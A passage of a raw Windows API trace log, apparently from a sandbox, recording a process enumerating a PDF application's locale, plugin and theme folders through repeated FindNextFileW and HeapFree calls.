out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0267.793] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.793] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0267.793] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.793] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0267.793] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.793] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.794] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0267.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.794] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0267.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.794] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0267.794] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0267.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.795] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b4e3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0267.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.795] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0267.795] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0267.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0267.795] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="editpdf", cAlternateFileName="")) returned 1 [0267.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.805] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0267.910] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.910] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0267.910] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0267.910] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0267.910] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0267.910] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0267.910] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.910] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0267.930] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.930] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0267.931] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.931] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0267.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.932] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0267.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.932] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0267.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.933] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0267.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.934] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0267.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.934] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0268.031] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.031] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0268.186] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.186] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0268.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.311] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0268.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.316] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0268.317] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.317] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0268.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.318] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0268.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.318] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0268.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.320] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0268.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.321] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0268.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.322] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0268.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.322] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0268.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.324] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0268.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.324] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0268.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.325] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0268.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.326] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0268.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.326] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0268.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.327] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0268.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.328] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0268.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0268.329] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: 